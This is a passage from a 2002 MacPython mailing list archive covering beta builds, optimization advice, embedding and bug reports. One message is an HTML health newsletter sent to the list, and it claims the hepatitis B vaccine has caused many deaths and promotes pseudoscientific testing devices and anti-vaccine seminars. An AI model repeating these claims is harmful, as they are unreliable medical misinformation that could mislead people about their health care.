instance) the C++ new[] operator will complain bitterly. It could be 
that it tries to print an error message, but that isn't going to go far 
with GUSI half-initialised.

I'm now rebuilding with a #pragma align option=m68k around the 
structure, that should do the trick (I hope:-).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From ryanwilcox@mac.com  Fri Oct 11 19:08:28 2002
From: ryanwilcox@mac.com (Ryan Wilcox)
Date: Fri, 11 Oct 2002 14:08:28 -0400
Subject: [Pythonmac-SIG] Optimizing (Mac)Python
In-Reply-To: <CF3BC885-DD29-11D6-99E1-0030655234CE@cwi.nl>
Message-ID: <r01050400-1021-71BF24F0DD4411D6960900039310A782@[192.168.42.26]>

Hi Folks,

Is there any good documentation available on how to optimize python
code (in particularly, my script does a lot of text parsing)?


(

Note: I kind of understand why it's taking Python a long time to do
this task - I'm throwing over 65K BIG records at it. But if I can find
some super-fast constructs to try, I'm game.

Of course, when this script goes into implementation, it'll be on a
much faster machine (800Mhz vs 400Mhz). But any speed gain I can
get...

)

BTW, Jack: I'm still using 2.2b2 on my dev machine - is this less
optimized then the standard release versions?

Thanks for your help!,
-Ryan Wilcox
-----------------------
PGP KEY ID: 0x2F4E9C31
-----------------------


From Jack.Jansen@oratrix.com  Fri Oct 11 20:59:22 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 11 Oct 2002 21:59:22 +0200
Subject: [Pythonmac-SIG] Optimizing (Mac)Python
In-Reply-To: <r01050400-1021-71BF24F0DD4411D6960900039310A782@[192.168.42.26]>
Message-ID: <EFAD4442-DD53-11D6-8C87-003065517236@oratrix.com>

On vrijdag, oktober 11, 2002, at 08:08 , Ryan Wilcox wrote:

> Hi Folks,
>
> Is there any good documentation available on how to optimize python
> code (in particularly, my script does a lot of text parsing)?

I'm not aware of such documentation. But I think you're probably 
better off asking optimization questions in a general Python 
forum like comp.lang.python, as the techniques will probably be 
machine-indendent.

FWIW, what I tend to do if I start optimizing is run the code 
under the profiler (very easy in the IDE!). First sort by 
descending aggregate times to see if that leads to suggestions 
for better overall algorithms (for instance if you have a lot of 
records and you first do processing on them and then filter 90% 
out it may be worthwhile to see if you can do the filtering as 
the first step, even if at the cost of a little extra 
computation). Then look at the call counts for the various 
routines and see whether you can use caching to reduce 
recomputation. Finally look at the time per routine and look for 
micro-optimizations. If the code is reasonably old you usually 
gain 20% easily.

Oh yes, if you can let C code do your work for you that will 
always pay off. So, ascii records that you can process with sre 
may well be more efficient than binary records that you process 
with Python code.

> BTW, Jack: I'm still using 2.2b2 on my dev machine - is this less
> optimized then the standard release versions?

It shouldn't make much of a difference, although I tend to be a 
bit more careful that everything is set correctly for final 
distributions. But there isn't any reason why you shouldn't 
upgrade to 2.2.1, which has been out for half a year or so and 
is 100% compatible with 2.2.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From mwh@python.net  Fri Oct 11 23:48:25 2002
From: mwh@python.net (Michael Hudson)
Date: 11 Oct 2002 23:48:25 +0100
Subject: [Pythonmac-SIG] Optimizing (Mac)Python
In-Reply-To: Ryan Wilcox's message of "Fri, 11 Oct 2002 14:08:28 -0400"
References: <r01050400-1021-71BF24F0DD4411D6960900039310A782@[192.168.42.26]>
Message-ID: <2m65w8k2x2.fsf@starship.python.net>

Ryan Wilcox <ryanwilcox@mac.com> writes:

> Is there any good documentation available on how to optimize python
> code (in particularly, my script does a lot of text parsing)?

Well, there's:

    http://www.python.org/doc/essays/list2str.html

but there are better places to ask this question...

Cheers,
M.

-- 
  Richard Gabriel was wrong: worse is not better, lying is better.
  Languages and systems succeed in the marketplace to the extent that
  their proponents lie about what they can do.
                                       -- Tim Bradshaw, comp.lang.lisp


From Jack.Jansen@oratrix.com  Sat Oct 12 00:07:32 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 12 Oct 2002 01:07:32 +0200
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <88520A20-DC9C-11D6-9207-003065517236@oratrix.com>
Message-ID: <38CF1516-DD6E-11D6-8C87-003065517236@oratrix.com>

On vrijdag, oktober 11, 2002, at 12:06 , Jack Jansen wrote:
> http://www.cwi.nl/~jack/secret/MacPython222b1full.hqx .

There's a new version going to be here shortly (the size is 
13688916 bytes, so if it's that big its all there). This should 
have (cross fingers) the OSX <<terminated>> problem sorted out. 
The README and Relnotes have also been updated. I have done 
absolutely no testing on this, so give up immedeately (and 
report back) if something doesn't work.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From jhrsn@pitt.edu  Sat Oct 12 01:44:58 2002
From: jhrsn@pitt.edu (Jim Harrison)
Date: Fri, 11 Oct 2002 20:44:58 -0400
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <38CF1516-DD6E-11D6-8C87-003065517236@oratrix.com>
Message-ID: <B9CCE8CA.15496%jhrsn@pitt.edu>

on 10/11/02 7:07 PM, Jack Jansen at Jack.Jansen@oratrix.com wrote:

> This should have (cross fingers) the OSX <<terminated>> problem sorted out.

This version installs and runs flawlessly (EditPP, IDE, and PI;
double-clicking, drag/drop). I think you found the problem. Thanks *very*
much for all the work.

Jim Harrison
Univ. of Pittsburgh


From dev@brotsky.com  Sat Oct 12 08:53:20 2002
From: dev@brotsky.com (Dan Brotsky)
Date: Sat, 12 Oct 2002 00:53:20 -0700
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <38CF1516-DD6E-11D6-8C87-003065517236@oratrix.com>
Message-ID: <AD3B8148-DDB7-11D6-999F-0003931036B4@brotsky.com>

Works like a complete charm on my TiBook 500MHz running 10.2.1.  Ran 
well in both the classic box and native.  Thanks Jack!

     dan


On Friday, October 11, 2002, at 04:07 PM, Jack Jansen wrote:

>
> On vrijdag, oktober 11, 2002, at 12:06 , Jack Jansen wrote:
>> http://www.cwi.nl/~jack/secret/MacPython222b1full.hqx .
>
> There's a new version going to be here shortly (the size is 13688916 
> bytes, so if it's that big its all there). This should have (cross 
> fingers) the OSX <<terminated>> problem sorted out. The README and 
> Relnotes have also been updated. I have done absolutely no testing on 
> this, so give up immedeately (and report back) if something doesn't 
> work.
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>        
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution -- Emma 
> Goldman -
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>



From jm@mercola.com  Sat Oct 12 10:37:30 2002
From: jm@mercola.com (jm@mercola.com)
Date: Sat, 12 Oct 2002 04:37:30 -0500 (CDT)
Subject: [Pythonmac-SIG] eHealthy News You Can Use October 12, 2002 - Issue 367
Message-ID: <20021012093730.DF27B33B9F@mercola.com>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2719.2200" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
  <TR>
    <TD vAlign=top align=middle width=1 bgColor=#ffeaaa>
      <TABLE cellSpacing=0 cellPadding=3 width="100%" border=0>
        <TBODY>
        <TR>
          <TD noWrap align=middle bgColor=#aaaaff>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
            size=2><B><FONT color=#ffffff>Mercola.com</FONT></B></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" color=#ffffff 
            size=2><B><A href="http://www.mercola.com/index.htm"><IMG height=133 
            src="http://www.mercola.com/images/mercola02.jpg" width=100 
            border=0></A></B></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" color=#ffffff 
            size=2><B>Dr. Joseph Mercola</B></FONT></P></TD></TR>
        <TR>
          <TD noWrap align=middle>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" color=#ff0000 
            size=2><B><BR>All Health, No Hype</B></FONT><BR>&nbsp; </P></TD></TR>
        <TR>
          <TD noWrap bgColor=#aaaaff height=2></TD></TR>
        <TR>
          <TD align=middle><FONT face="Verdana, Arial, Helvetica, sans-serif" 
            size=2><BR>FREE Weekly Health <A 
            href="http://www.mercola.com/forms/subscribe.htm">Newsletter</A></FONT> 

            <P>
            <FORM 
            action=http://www.mercola.com/cgi-bin/WebObjects/Subscription.woa/wa/subscribe 
            method=get><FONT face="Verdana, Arial, Helvetica, sans-serif" 
            size=2>Your Email Address: <BR><INPUT size=16 name=email> <BR><INPUT type=submit value=Subscribe name=submit> </FONT></FORM>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
            href="http://www.mercola.com/index.html">Previous 
            Newsletters</A></FONT><BR>&nbsp; </P></TD></TR>
        <TR>
          <TD noWrap bgColor=#aaaaff height=2></TD></TR>
        <TR>
          <TD><!-- #BeginEditable "Index" --><!-- #BeginLibraryItem "/Library/367.lbi" -->
            <P><FONT face=Verdana size=2><A 
            href="http://www.mercola.com/2002/oct/12/index.htm">Issue 
            367</A></FONT></P>
            <P><FONT face=Verdana size=2>October 12, 2002</FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
            href="http://www.mercola.com/2002/oct/12/healthcare_spending.htm"><FONT 
            size=1>Health Care Spending</FONT></A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/gerd.htm">Non Drug Options 
            for GERD</A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/migraine.htm">Headaches Due 
            to Migraine</A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/multiple_sclerosis.htm">Multiple 
            Sclerosis Drug</A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/forms/livingfuel.htm">When You Can't 
            Juice</A> </FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/doctors_communication.htm">Doctors 
            Need Communication Skills</A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/gm_animals.htm">Bioengineered 
            Animal Threat</A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
            href="http://www.mercola.com/article/eft_videos.htm"><FONT 
            size=1>Psychological Acupressure</FONT></A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/cam.htm">White House 
            Commission Alternative Medicine</A></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/2002/oct/12/hepatitis_b_vaccine.htm">Misguided 
            Hepatitis B Vaccine Policy</A></FONT></P><!-- #EndLibraryItem --><!-- #EndEditable -->
            <P><!-- #BeginLibraryItem "/Library/healthresources.lbi" -->
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
            size=2><B><FONT size=1>Health Resources</FONT></B></FONT></P>
            <P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=1><A 
            href="http://www.mercola.com/diet.htm">Eating Plan</A></FONT></P>
            <P><FONT size=1><FONT 
            face="Verdana, Arial, Helvetica, sans-serif">&nbsp;&nbsp;&nbsp;&nbsp;<A 
            href="http://www.mercola.com/article/insulin.htm">Less Grains / 
            Sugars </A></FONT></FONT></P>
            <P><FONT size=1><FONT 
            face="Verdana, Arial, Helvetica, sans-serif">&nbsp;&nbsp;&nbsp;&nbsp;<A 
            href="http://www.mercola.com/article/omega3.htm">More Omega 
            3</A></FONT></FONT></P>
            <P><FONT size=1><FONT 
            face="Verdana, Arial, Helvetica, sans-serif">&nbsp;&nbsp;&nbsp;&nbsp;<A 
            href="http://www.mercola.com/article/water.htm">More 
            Water</A></FONT></FONT></P>
            <P><FONT size=1><FONT 
            face="Verdana, Arial, Helvetica, sans-serif"><A 
            href="http://www.mercola.com/article/eft.htm">Emotional Health 
            </A></FONT></FONT></P>
            <P><FONT size=1><FONT 
            face="Verdana, Arial, Helvetica, sans-serif"><A 
            href="http://www.mercola.com/article/sleep.htm">Effective 
            Sleep</A></FONT></FONT></P><!-- #EndLibraryItem --></TD></TR>
        <TR>
          <TD noWrap bgColor=#aaaaff height=2></TD></TR></TBODY></TABLE></TD>
    <TD vAlign=top width=3>&nbsp;</TD>
    <TD vAlign=top width="100%">
      <TABLE cellSpacing=0 cellPadding=0 width="100%">
        <TBODY>
        <TR>
          <TD vAlign=top width="100%" height=1>
            <FORM action=http://www.google.com/custom method=get>
            <TABLE cellSpacing=12 cellPadding=0 width="100%" align=center 
            border=0>
              <TBODY>
              <TR>
                <TD vAlign=top><FONT face=Verdana>
                  <H3 align=center><B><FONT color=#ff0000 size=4><FONT 
                  size=2></FONT></FONT></B></H3>
                  <DIV align=left></FONT><FONT 
                  face="Verdana, Arial, Helvetica, sans-serif" size=2><FONT 
                  face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
                  href="http://mercola.com/2002/oct/12/healthcare_spending.htm">"Health" 
                  Care Spending Continues to Rise</A> - Health care spending 
                  rose 10 percent in 2001, and triggered an average hike of 12.7 
                  percent in health premiums for employer-provided plans this 
                  year.</FONT></DIV>
                  <DIV align=left>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/2002/oct/12/gerd.htm">Non-Drug 
                  Options for GERD</A> - Surgery for this problem doesn't make 
                  any sense. Read my responses to a recent interview I gave for 
                  Men's Journal Magazine.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/2002/oct/12/migraine.htm">Most Doctor 
                  Visits for Headache Due to Migraine</A> - Fortunately there 
                  are simple, inexpensive non-drug solutions that work well for 
                  migraine headaches.</FONT></FONT></P></DIV>
                  <P><FONT face=Verdana size=2></P>
                  <P>
                  <TABLE cellSpacing=0 cellPadding=0 width=250 align=right 
                  border=0>
                    <TBODY>
                    <TR>
                      <TD vAlign=center align=middle></FORM>
                        <FORM 
                        action=http://www.mercola.com/cgi-bin/WebObjects/Subscription.woa/wa/subscribe 
                        method=get>
                        <P><INPUT size=16 name=email><FONT face=Verdana size=2> 
                        &nbsp; </FONT><INPUT type=submit value=Subscribe><FONT 
                        face=Verdana size=2> </FONT></P></FORM>
                        <FORM action=http://www.google.com/custom 
                    method=get></TD></TR></TBODY></TABLE></P>
                  <P><FONT size=2><FONT face=Verdana><B><FONT color=#ff0000>Not 
                  Subscribed to the Newsletter Yet?</FONT></B> You can subscribe 
                  by filling in your email address in the box to the right, and 
                  clicking Subscribe.</FONT></FONT><BR></P></FONT>
                  <P><FONT face=Arial color=#000000 size=2><FONT 
                  face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
                  href="http://mercola.com/2002/oct/12/multiple_sclerosis.htm">Multiple 
                  Sclerosis Drug Linked to Heart Problems</A> - A drug being 
                  sold in the US as Novantrone (mitoxantrone) for multiple 
                  sclerosis is thought to increase the risk of congestive heart 
                  failure and the ability of the heart to pump blood.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A href="http://mercola.com/forms/livingfuel.htm">What 
                  Do You Do When You Can't Juice?</A> - I have found our new 
                  whole food product is a simple and easy solution for me when I 
                  travel to conferences -- a far better option than expensive 
                  and unhealthy hotel breakfast food.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/2002/oct/12/doctors_communication.htm">Doctors 
                  Need Key Communication Skills</A> - This recent British 
                  Medical Journal article provides practical recommendations for 
                  clinicians to improve their ability to interact with patients. 
                  These are skills your health care provider should have and an 
                  article you will certainly want to forward to them.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/2002/oct/12/gm_animals.htm">Experts 
                  Confirm that Bioengineered Animals are an Environmental 
                  Threat</A> - The prestigious National Academy of Sciences 
                  raises red flags in the debate about bioengineered 
                  animals.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/article/eft_videos.htm">Psychological 
                  Acupressure Will Help Eliminate Your Emotional Barriers</A> - 
                  Instill positive emotions, ease pain and suffering, and 
                  eliminate unhealthy cravings with EFT. Learn how to put this 
                  safe, simple and most powerful form of psychological 
                  acupressure to work for you.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/2002/oct/12/cam.htm">Different View 
                  on White House Commission Alternative Medicine</A> - Dr. Larry 
                  Wilson provides his perspective on this report.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://mercola.com/2002/oct/12/hepatitis_b_vaccine.htm">Dangerously 
                  Misguided Universal Infant Hepatitis B Vaccination Policy</A> 
                  - The government's vaccination policy for Hepatitis B is 
                  dangerous. This vaccine has caused many deaths and caused 
                  untold amounts of damage.</FONT></FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><FONT face=Arial><FONT face=Verdana><STRONG><FONT 
                  color=#ff0000>Do you have a specific health 
                  question?</FONT></STRONG> Try typing it in our search engine 
                  and you will see if any of the 15,000 pages I have compiled 
                  will answer it for you.</FONT></P>
                  <DIV>
                  <DIV align=left></FORM>
                  <FORM action=http://www.google.com/custom>
                  <DIV align=center><INPUT type=hidden 
                  value=AH:center;AWFID:5cdb2968a482194d; name=cof><FONT 
                  face=Verdana> </FONT><INPUT type=hidden value=www.mercola.com 
                  name=domains><FONT face=Verdana> </FONT><INPUT type=hidden 
                  value=www.mercola.com name=sitesearch><FONT face=Verdana> 
                  </FONT><INPUT size=31 name=q><FONT face=Verdana> &nbsp; 
</FONT><INPUT type=submit value="Search Mercola.com" name=sa2><FONT 
                  face=Verdana> </FONT></FONT></FONT></DIV></FORM>
                  <FORM action=http://www.google.com/custom 
                  method=get></DIV></DIV>
                  <DIV>
                  <TABLE cellSpacing=0 cellPadding=0 width="100%" align=center 
                  border=0>
                    <TBODY>
                    <TR>
                      <TD align=middle>
                        <TABLE cellSpacing=3 cellPadding=6 border=0>
                          <TBODY>
                          <TR>
                            <TD align=middle width=82><IMG alt="" hspace=0 
                              src="http://www.mercola.com/images/shopper_and_cart367.jpg" 
                              border=0><A 
                              href="http://www.mercola.com/store.htm"></A></TD>
                            <TD>
                              <P><FONT face="Arial, Helvetica, sans-serif"><B><A 
                              href="http://www.mercola.com/store.htm">Tools to 
                              Help You Recover Your Health</A></B></FONT><FONT 
                              face="Arial, Helvetica, sans-serif"><B> 
                              </B></FONT></P>
                              <P><FONT face=Arial>Use these hard-to-find 
                              resources to take your health to the next 
                              level.</FONT></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><STRONG><FONT 
                  face=Verdana size=2></FONT></STRONG></DIV><STRONG><FONT 
                  face=Verdana size=2></FONT></STRONG>
                  <HR>

                  <H2 align=center><FONT face=Verdana color=#000000><B>Upcoming 
                  Course/Seminar Information</B></FONT></H2>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://www.mercola.com/2002/aug/7/skasys.htm">SkaSys: 
                  Superior to Any Existing EAV System</A> - An incredible 
                  technology, SkaSys, enables far more efficient and precise 
                  bioenergetic, kinesiological, and autonomic reflex testing 
                  than any EAV system. Get in-depth information on the 
                  application and methods of SkaSys, including testing for heavy 
                  metal loads and individual detox protocols, in this seminar 
                  hosted by its developer, Dr. Hans Lechner.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://www.mercola.com/2002/oct/5/apn_conference.htm">The 
                  2nd Annual Conference on Applied Neurobiology</A> - The 
                  principles of ART and ARN will be the focus in this conference 
                  centered on Lyme Disease and Co-Infections. I will speak in 
                  this think-tank style discussion along with some of the 
                  world's leading medical practitioners.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://www.mercola.com/2002/sep/18/nvic.htm">Vaccines: A 
                  Major Conference Separating Fact from Fiction</A> - Over 
                  twenty-seven of the world's leading medical, psychological and 
                  legal experts will expose the truth behind vaccines in this 
                  national event that promises to influence the course of U.S. 
                  vaccine practice and policy. Medical practitioners and the 
                  general public are encouraged to attend this conference on 
                  November 7-9 in Arlington, Virginia.</FONT></P>
                  <P><FONT face="Verdana, Arial, Helvetica, sans-serif" 
                  size=2><A 
                  href="http://www.mercola.com/nst/nst.htm"></A></FONT><FONT 
                  face=Verdana size=2><A 
                  href="http://www.mercola.com/2001/jul/18/vaccine_seminars.htm">More 
                  Vaccine Seminars</A> - Opportunities to attend live lectures 
                  around the country on this vitally important issue of our 
                  times. Have your specific questions personally answered with 
                  practical alternatives.</FONT></P>
                  <P>
                  <P><!-- #BeginLibraryItem "/Library/index.bottom.lbi" -->
                  <HR>

                  <P><FONT face=Verdana size=2><B>Are you tired of clicking on 
                  all the links to the articles?</B> To sign up for the FULL 
                  TEXT version of this newsletter you can send a blank e-mail 
                  to: <A 
                  href="mailto:healthnews-subscribe@topica.com">Healthnews-subscribe@topica.com</A> 
                  The full newsletter is 20-40 pages long and can be up to 
                  250KB, so if you have a slow Internet connection it will be 
                  several minutes to download the e-mail. WARNING: This 
                  subscription does not work if you use AOL for your 
                  e-mail.</FONT> </P>
                  <HR>

                  <DIV align=left>
                  <P><FONT face=Verdana size=2><B><FONT color=#ff0000>©Copyright 
                  Dr. Joseph Mercola, 2002. </FONT></B>All Rights Reserved. This 
                  content may be copied in full, as long as copyright, contact, 
                  and creation information is given, only if used only in a 
                  not-for-profit format. If possible, I would also appreciate an 
                  endorsement and encouragement to subscribe to the newsletter. 
                  If any other use is desired, written permission is 
                  required.</FONT></P>
                  <P><FONT face=Arial size=2>You are currently subscribed as 
                  pythonmac-sig@python.org, to unsubscribe please send a blank email to 
                  </FONT><FONT face=Arial 
                  size=2>ted+unsubscribe@lists.mercola.com</FONT><FONT 
                  face=Arial 
        size=2>.</FONT></P></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></FORM>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV></BODY></HTML>



From Jack.Jansen@oratrix.com  Sun Oct 13 12:37:45 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sun, 13 Oct 2002 13:37:45 +0200
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <B9CCE8CA.15496%jhrsn@pitt.edu>
Message-ID: <311A1253-DEA0-11D6-8C54-003065517236@oratrix.com>

On zaterdag, oktober 12, 2002, at 06:50 , Neil Mayhew wrote:
> So the problem is that the script is trying to touch the 
> /Library/CFMSupport
> directory, which isn't owned by me, so the script can't change 
> its dates.
>
> I made a temporary fix for this as follows:
>
> --- macostools.py 72 ---
>     try:
>         dir_fss.SetDates(crdate, now, bkdate)
>     except:
>         print "Could not touch", dir_fss.as_pathname()
>
> However, I see that there is a touched_ae(dst) in 
> macostools.py, which does
> it the proper way using AppleEvents, so a better solution would 
> presumably
> be to change copy() in macostools.py to use touched_ae instead 
> of touched.

Yes, but touched_ae is a lot slower. I can see two solutions:
- silently skip the SetDates() if it doesn't work. I think 
touched() isn't as important on OSX anyway (the finder seems to 
pick up changes must faster than on OS9).
- if SetDates() fails call touched_ae.

I think I prefer the first solution,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From bob@redivi.com  Sun Oct 13 20:59:41 2002
From: bob@redivi.com (Bob Ippolito)
Date: Sun, 13 Oct 2002 15:59:41 -0400
Subject: [Pythonmac-SIG] pyobjc / cocoa
Message-ID: <4F672B66-DEE6-11D6-9A91-0003938210D6@redivi.com>

I don't know if this has hit list yet, but I ran across somebody else's 
successful attempt to create a pure python Cocoa application ( 
http://radio.weblogs.com/0100490/ ).

Seems to work quite well.  Possibly should consider including it with 
MacPython?

-bob



From mueller@ableton.com  Mon Oct 14 18:55:08 2002
From: mueller@ableton.com (eduard mueller)
Date: Mon, 14 Oct 2002 19:55:08 +0200
Subject: [Pythonmac-SIG] embedding - framework, precompiled libs available ?
Message-ID: <007e01c273aa$d5a7be50$4e2aa8c0@wollladesgo1d6>

This is a multi-part message in MIME format.

------=_NextPart_000_007B_01C273BB.99151710
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

we would like to embed the pythoncore into our C++ application that runs =

under win32 , MacOsX and MacOs9.=20
Under Windows we had no problems at all to link the core statically into
our exe but under MacOsx and 9 I have big problems to build the library
with the Codewarrior 8 compiler.=20
Is there any chance to build the core without GUSI on Codewarrior 8 ?=20
Are precompiled libraries or even a framework somewhere available ?=20

thanks
eduard

------=_NextPart_000_007B_01C273BB.99151710
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>we&nbsp;would like to embed the =
pythoncore into=20
our&nbsp;C++ application that runs </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under </FONT><FONT face=3DArial =
size=3D2>win32 , MacOsX=20
and MacOs9. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Under Windows we had no problems at all =
to link the=20
core statically into</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>our exe but under MacOsx and 9 I have =
big problems=20
to build the library</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>with the Codewarrior 8 compiler. =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Is there any chance to&nbsp;build the =
core without=20
GUSI on Codewarrior 8 ? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Are precompiled libraries or even a =
framework=20
somewhere available ? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>eduard</FONT></DIV></BODY></HTML>

------=_NextPart_000_007B_01C273BB.99151710--



From jbridgman@mac.com  Tue Oct 15 08:09:04 2002
From: jbridgman@mac.com (jbridgman@mac.com)
Date: Tue, 15 Oct 2002 16:09:04 +0900
Subject: [Pythonmac-SIG] test bufio failure
Message-ID: <B9D1EE20.4A1%jbridgman@mac.com>

Hello, I have downloaded Python 2.2.1 for Macintosh. I have OS
9.1.1. In the readme included with the download it suggested running test
after installation.

"It is probably a good idea to run the automatic tests. Start
Python and "import test.regrtest ; test.regrtest.main()". "

I did this and during testing it stops on "test_bufio" and freezes.
I was wondering what the problem was and if it could be remedied.

Thank you!
Jeffrey Bridgman



From seth@jtan.com  Tue Oct 15 08:54:22 2002
From: seth@jtan.com (Seth Delackner)
Date: Tue, 15 Oct 2002 03:54:22 -0400
Subject: [Pythonmac-SIG] how to eliminate the extra dock icons
Message-ID: <20021015075422.GA1433@callisto.jtan.com>

I haven't tried this, and maybe this has already been fixed, but I think
that I have figured out how to make the dock icon go away for the interpreter
so that it doesn't spastically spew dock icons as it loads scripts.

See http://developer.apple.com/techpubs/macosx/Essentials/SystemOverview/PropertyListKeys/Bundle_Keys.html

and in particular, the end of the page:

LSUIElement

If this key is set to "1", Launch Services runs the application as a user interface element. User interface elements do not appear in the Dock or in the Force Quit window. Although they typically run as background applications, they can come to the foreground to present a user interface if desired. A click on a window belonging to a user interface element brings that application forward to handle events.

The Dock and loginwindow are two applications that run as user interface elements.


From Jack.Jansen@cwi.nl  Tue Oct 15 12:19:25 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Tue, 15 Oct 2002 13:19:25 +0200
Subject: [Pythonmac-SIG] embedding - framework, precompiled libs available ?
In-Reply-To: <007e01c273aa$d5a7be50$4e2aa8c0@wollladesgo1d6>
Message-ID: <F690C390-E02F-11D6-AC8C-0030655234CE@cwi.nl>

On Monday, Oct 14, 2002, at 19:55 Europe/Amsterdam, eduard mueller=20
wrote:

> Hi,
> =A0
> we=A0would like to embed the pythoncore into our=A0C++ application =
that=20
> runs
> under win32 , MacOsX and MacOs9.
> Under Windows we had no problems at all to link the core statically=20
> into
> our exe but under MacOsx and 9 I have big problems to build the =
library
> with the Codewarrior 8 compiler.
> Is there any chance to=A0build the core without GUSI on Codewarrior 8 =
?
> Are precompiled libraries or even a framework somewhere available ?

Building without GUSI hasn't been tested (at least, not by me) for a=20
while, but there shouldn't be too many stumbling blocks. But, and this=20=

is a big "but", you will lose lots of Python functionality by building=20=

without GUSI. Sockets and select are definitely out, and there's=20
probably a bit more.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>       =20
